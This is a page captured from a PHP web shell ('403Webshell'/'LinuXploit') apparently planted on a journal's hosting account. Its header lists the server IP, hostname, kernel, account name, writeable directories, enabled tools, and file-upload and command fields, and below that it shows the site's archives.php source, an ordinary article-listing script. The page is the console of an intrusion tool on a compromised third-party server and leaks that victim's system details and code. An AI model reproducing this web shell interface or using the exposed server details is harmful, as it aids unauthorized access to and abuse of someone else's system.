403Webshell
Server IP : 192.169.170.185  /  Your IP : 216.73.216.97
Web Server : Apache
System : Linux p3plmcpnl495852.prod.phx3.secureserver.net 4.18.0-553.52.1.lve.el8.x86_64 #1 SMP Wed May 21 15:31:29 UTC 2025 x86_64
User : akhilnew ( 1712764)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhilnew/public_html/journalofpoliticalscience.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhilnew/public_html/journalofpoliticalscience.com/archives.php
<?php
require_once('header.php');
echo $page_content;

$gv = filter_input(INPUT_GET, 'gv', FILTER_SANITIZE_STRING);
$gv = strip_tags($fn->escape($gv));

if($year && $volume && $issue && $part && $archivesid && $gv === 'true'):
	$stmt = $mysqli->prepare("SELECT title, titlefont FROM archives WHERE (archivesid = ? AND status = ?) LIMIT 1") or die('An error occurred. Please try after some time.');
	$stmt->bind_param('is', $archivesid, $article_status);
	$stmt->execute();
	$stmt->store_result();
	$count_rows = $stmt->num_rows();
	$stmt->bind_result($title, $titlefont);
	$stmt->fetch();
	$stmt->close();
	if($count_rows == 1):
		$title = strip_tags($title, '<i><em><sup><sub><img>');
		$title = $titlefont ? '<h5 style="font-size:16px;font-family:'.$titlefont.' !important">'.$title.'</h5>' : '<h5>'.$title.'</h5>';

		echo '<div class="head center-align">'.html_entity_decode($title).'</div><br clear="all"><br clear="all">';

		$snum = 1;
		$stmt = $mysqli->prepare("SELECT file, graphicsalt FROM graphics WHERE archivesid = ? ORDER BY graphicsid DESC") or die('An error occurred. Please try after some time.');
		$stmt->bind_param('i', $archivesid);
		$stmt->execute();
		$stmt->store_result();
		if($stmt->num_rows() > 0):
			$stmt->bind_result($graphicsfile, $graphicsalt);
			while($stmt->fetch()):
				if($graphicsfile && file_exists($uploadpath.'graphics/'.$archivesid.'/'.$graphicsfile)):
					echo '<div class="body center-align"><img src="'.$uploadurl.'graphics/'.$archivesid.'/'.$graphicsfile.'" alt="'.$graphicsalt.'" /><br clear="all"><b>Fig. '.$snum++.':</b> '.$graphicsalt.'</div><br clear="all"><br clear="all">';
				endif;
			endwhile;
		endif;
		$stmt->close();
	else:
		echo 'No article found.';
	endif;
elseif($year && $volume && $issue && $part && $archivesid):
	$stmt = $mysqli->prepare("SELECT doi, doistatus, refnumber, title, titlefont, authorname, authornamefont, abstract, abstractfont, file, supplementaryfile, pagenumber, retractcontent, retractstatus, views, downloads, is_open_access FROM archives WHERE (archivesid = ? AND status = ?) LIMIT 1") or die('An error occurred. Please try after some time.');
	$stmt->bind_param('is', $archivesid, $article_status);
	$stmt->execute();
	$stmt->store_result();
	$count_rows = $stmt->num_rows();
	$stmt->bind_result($doi, $doistatus, $refnumber, $title, $titlefont, $authorname, $authornamefont, $abstract, $abstractfont, $file, $supplementaryfile, $pagenumber, $retractcontent, $retractstatus, $views, $downloads, $is_open_access);
	$stmt->fetch();
	$stmt->close();
	if($count_rows == 1):
		$newviews = $views + 1;
		$stmt = $mysqli->prepare("UPDATE archives SET views = ? WHERE archivesid = ? LIMIT 1") or die('An error occurred. Please try after some time.');
		$stmt->bind_param('ii', $newviews, $archivesid);
		$stmt->execute();
		$stmt->close();

		$title = strip_tags($title, '<i><em><sup><sub><img>');
		$title = $titlefont ? '<h5 style="font-size:18px;font-family:'.$titlefont.' !important">'.$title.'</h5>' : '<h5>'.$title.'</h5>';
		$authorname = $authornamefont ? '<span style="font-family:'.$authornamefont.' !important;font-size:14px">'.$authorname.'</span>' : $authorname;
		$abstract = strip_tags($abstract, '<i><em><sup><sub><img><b><strong><div><br><br /><table><td><th><tr><thead><tbody><tfoot><ul><ol><li>');
		$abstract = $abstractfont ? '<span style="font-family:'.$abstractfont.' !important;font-size:14px">'.$abstract.'</span>' : $abstract;

		echo '<div class="head center-align">'.html_entity_decode($title).'</div><br clear="all"><br clear="all">';
		echo '<b class="red-text">Author(s):</b> '.html_entity_decode($authorname).'<br clear="all"><br clear="all">';

		if($retractcontent && $retractstatus === 'enabled'):

			echo '<div class="red-text center-align"><b>Notice of Retraction</b></div><br clear="all">'.html_entity_decode($retractcontent).'<br clear="all"><br clear="all">';

		else:

			echo '<b class="red-text">Abstract:</b> '.html_entity_decode($abstract).'<br clear="all"><br clear="all">';

			$stmt = $mysqli->prepare("SELECT * FROM graphics WHERE archivesid = ?") or die('An error occurred. Please try after some time.');
			$stmt->bind_param('i', $archivesid);
			$stmt->execute();
			$stmt->store_result();
			$count_rows = $stmt->num_rows();
			$stmt->close();
			if($count_rows > 1):
				echo '<b class="red-text">Related Graphics:</b> <a href="'.$baseurl.'archives/'.$year.'.v'.$volume.'.i'.$issue.'.'.$part.'.'.$archivesid.'?gv=true">Click here for more related graphics</a><br clear="all"><br clear="all">';
			endif;

			$stmt = $mysqli->prepare("SELECT file, graphicsalt FROM graphics WHERE archivesid = ? ORDER BY graphicsid DESC LIMIT 1") or die('An error occurred. Please try after some time.');
			$stmt->bind_param('i', $archivesid);
			$stmt->execute();
			$stmt->store_result();
			$count_rows = $stmt->num_rows();
			$stmt->bind_result($graphicsfile, $graphicsalt);
			$stmt->fetch();
			$stmt->close();
			if($count_rows):
				if($graphicsfile && file_exists($uploadpath.'graphics/'.$archivesid.'/'.$graphicsfile)):
					echo '<div class="body center-align"><img src="'.$uploadurl.'graphics/'.$archivesid.'/'.$graphicsfile.'" alt="'.$graphicsalt.'" /><br clear="all"><b>Fig.:</b> '.$graphicsalt.'</div><br clear="all"><br clear="all">';
				endif;
			endif;

			if($doi && $doistatus === 'enabled'):
				echo '<b class="red-text">DOI:</b> <a href="https://doi.org/'.$doi.'" target="_blank">'.$doi.'</a><br clear="all"><br clear="all">';
			endif;

			echo '<b>Pages: '.$pagenumber.' | Views: '.$views.' | Downloads: '.$downloads.'</b><br clear="all"><br clear="all">';

			if($file && file_exists($uploadpath.'archives/'.$file)):
			    if($is_open_access):
				    echo '<b class="red-text">Download Full Article:</b> <a href="'.$uploadurl.'archives/'.$file.'" id="'.$archivesid.'" class="download" target="_blank">Click Here</a>';
				else:
				    echo '<b class="red-text">Download Full Article:</b> PDF Locked';
			    endif;
			endif;
			if($supplementaryfile && file_exists($uploadpath.'archives/'.$supplementaryfile)):
				echo '<br clear="all"><br clear="all">';
				echo '<b class="red-text">Download Supplementary File:</b> <a href="'.$uploadurl.'archives/'.$supplementaryfile.'" id="'.$archivesid.'" class="download" target="_blank">Click Here</a>';
			endif;

?>
		<br clear="all">
		<br clear="all">
		<a href="https://www.akinik.com/journallist" target="_blank">
			<img src="<?php echo $baseurl; ?>images/call-for-paper-ads.jpg" alt="<?php echo $websitename;?>" />
		</a>
<?php
			echo '<div class="fluid citation">';
			echo '<div class="head">How to cite this article:</div>';
			echo '<div class="body">';
			if($authornamefont):
				echo '<span style="font-family:'.$authornamefont.' !important;font-size:18px">'.strip_tags(str_replace(' and ', ', ', $authorname)).'</span>. ';
			else:
				echo str_replace(' and ', ', ', $authorname).'. ';
			endif;
			if($titlefont):
				echo '<span style="font-family:'.$titlefont.' !important;font-size:18px;text-align:center">'.strip_tags($title).'</span>';
			else:
				echo '<b>'.strip_tags($title).'</b>';
			endif;
			echo '. Int J Political Sci Governance '.$year.';'.$volume.'('.$issue.'):'.$pagenumber.'.';
			if($doi):
				echo ' DOI: <a href="https://doi.org/'.$doi.'" target="_blank">'.$doi.'</a>';
			endif;
			echo '</div>';
			echo '</div>';

		endif;
	else:
		echo 'No article found.';
	endif;
elseif($year && $volume && $issue):
echo <<<EOJ
	<table class="articles white">
		<tr>
		<th class="xs center-align hide-on-small-and-down">S. No.</th>
		<th>Title and Authors Name</th>
		</tr>
EOJ;
		$snum = 1;
		$stmt = $mysqli->prepare("SELECT archivesid, doi, doistatus, refnumber, title, titlefont, authorname, authornamefont, abstract, file, supplementaryfile, country, pagenumber, retractcontent, retractstatus, views, downloads, is_open_access FROM archives WHERE (year = ? AND volume = ? AND issue = ? AND part = ? AND status = ?) ORDER BY LENGTH(pagenumber), pagenumber ASC") or die('An error occurred. Please try after some time.');
		$stmt->bind_param('sisss', $year, $volume, $issue, $part, $article_status);
		$stmt->execute();
		$stmt->store_result();
		if($stmt->num_rows() > 0):
			$stmt->bind_result($archivesid, $doi, $doistatus, $refnumber, $title, $titlefont, $authorname, $authornamefont, $abstract, $file, $supplementaryfile, $country, $pagenumber, $retractcontent, $retractstatus, $views, $downloads, $is_open_access);
			while($stmt->fetch()):
				$title = strip_tags($title, '<i><em><sup><sub><img>');
				$title = $titlefont ? '<b style="font-family:'.$titlefont.' !important;font-size:17px;">'.$title.'</b>' : '<b>'.$title.'</b>';
				$authorname = $authornamefont ? '<font style="font-family:'.$authornamefont.' !important;font-size:15px">'.$authorname.'</font>' : $authorname;
				echo '<tr>';
				echo '<td class="xs center-align hide-on-small-and-down">'.$snum++.'</td>';
				echo '<td>';
				echo '<div class="body">'.html_entity_decode($title).'</div>';
				echo '<div class="body">'.html_entity_decode($authorname).'</div>';

				if($retractcontent && $retractstatus === 'enabled'):

					echo '<div class="body">';
					echo '<a href="'.$baseurl.'archives/'.$year.'.v'.$volume.'.i'.$issue.'.'.$part.'.'.$archivesid.'">Retracted</a>';
					echo '</div>';

				else:

					if($doi && $doistatus === 'enabled'):
						echo '<div class="body"><b>DOI:</b> <a href="https://doi.org/'.$doi.'" target="_blank">https://doi.org/'.$doi.'</a></div>';
					endif;
	
					echo '<div class="body">Int. J. Political Sci. Governance, '.$year.'; '.$volume.'('.$issue.'): '.$pagenumber.'</div>';
					
					echo '<div class="body">';
					if($abstract):
						echo '<a href="'.$baseurl.'archives/'.$year.'.v'.$volume.'.i'.$issue.'.'.$part.'.'.$archivesid.'">Abstract</a>&nbsp;&nbsp;|&nbsp;&nbsp;';
					endif;
					if($file && file_exists($uploadpath.'archives/'.$file)):
					    if($is_open_access):
    						$filesize = round(filesize($uploadpath.'archives/'.$file) / 1024).' KB';
    						echo '<a href="'.$uploadurl.'archives/'.$file.'" id="'.$archivesid.'" class="download" target="_blank">Download</a>&nbsp;&nbsp;|&nbsp;&nbsp;';
    					else:
    						echo '<span>PDF Locked</span>&nbsp;&nbsp;|&nbsp;&nbsp;';
					    endif;
					else:
						$filesize = 'NA';
					endif;
					if($supplementaryfile && file_exists($uploadpath.'archives/'.$supplementaryfile)):
						echo '<a href="'.$uploadurl.'archives/'.$supplementaryfile.'" id="'.$archivesid.'" class="download" target="_blank">Supplementary File</a>&nbsp;&nbsp;|&nbsp;&nbsp;';
					endif;
					echo '<b>Country:</b> '.$country.'&nbsp;&nbsp;|&nbsp;&nbsp;<b>File Size:</b> '.$filesize.'&nbsp;&nbsp;|&nbsp;&nbsp;<b>Views:</b> '.$views.'&nbsp;&nbsp;&nbsp;<b>Downloads:</b> '.$downloads.'';
					echo '</div>';

				endif;

				echo '</td>';
				echo '</tr>';
			endwhile;
		else:
			echo '<tr><td colspan="2" class="center-align">No Results Found</td></tr>';
		endif;
		$stmt->close();
	echo '</table>';
else:
	function part($year, $volume, $issue){
		global $mysqli, $baseurl, $article_status;$html = '';
		$stmt = $mysqli->prepare("SELECT part FROM archives WHERE (year = ? AND volume = ? AND issue = ? AND status = ?) GROUP BY part ORDER BY part ASC") or die('An error occurred. Please try after some time.');
		$stmt->bind_param('siss', $year, $volume, $issue, $article_status);
		$stmt->execute();
		$stmt->store_result();
		if($stmt->num_rows() > 0):
			$stmt->bind_result($part);
			while($stmt->fetch()):
				$html .= '<li class="col s6 m3 l3"><b><a href="'.$baseurl.'archives/'.$year.'.v'.$volume.'.i'.$issue.'.'.$part.'">Part '.$part.'</a></b></li>';
			endwhile;
		endif;
		$stmt->close();
		return '<ul class="row">'.$html.'</ul>';
	}
	function issues($year){
		global $mysqli, $baseurl, $article_status;$html = '';
		$stmt = $mysqli->prepare("SELECT month, volume, issue, conference, specialissue FROM archives WHERE (year = ? AND status = ?) GROUP BY issue ORDER BY volume DESC, CAST(issue AS UNSIGNED) DESC") or die("An error occurred. Please try after some time.");
		$stmt->bind_param('ss', $year, $article_status);
		$stmt->execute();
		$stmt->store_result();
		if($stmt->num_rows() > 0):
			$stmt->bind_result($month, $volume, $issue, $conference, $specialissue);
			while($stmt->fetch()):
				if(!ctype_digit($issue) && $specialissue === 'Y'):
					$html .= '<div class="row issue"><div class="col s12 m12 l12"><b>Vol. '.$volume.' : Special Issue '.preg_replace('/[^0-9]/', '', $issue).'&nbsp;&nbsp;<span class="red-text">('.$conference.')</span></b></div></div>';
				else:
					$html .= '<div class="row issue"><div class="col s12 m12 l12"><b>Vol. '.$volume.' : Issue '.$issue.'&nbsp;&nbsp;<span class="red-text">('.$month.')</span></b></div></div>';
				endif;
				$html .= part($year, $volume, $issue);
			endwhile;
		endif;
		$stmt->close();
		return $html;
	}
	$stmt = $mysqli->prepare("SELECT year FROM archives WHERE status = ? GROUP BY year ORDER BY year DESC") or die('An error occurred. Please try after some time.');
	$stmt->bind_param('s', $article_status);
	$stmt->execute();
	$stmt->store_result();
	if($stmt->num_rows() > 0):
		$stmt->bind_result($year);
		while($stmt->fetch()):
			echo '<div class="fluid archives">';
			echo '<div class="head">Archives for '.$year.'</div>';
			echo '<div class="body">'.issues($year).'</div>';
			echo '</div>';
		endwhile;
	else:
		echo '<div align="center"><img src="'.$imageurl.'coming-soon.png" alt="Comming Soon" style="float:none" /></div>';
	endif;
	$stmt->close();
endif;
require_once('footer.php');
?>

Youez - 2016 - github.com/yon3zu
LinuXploit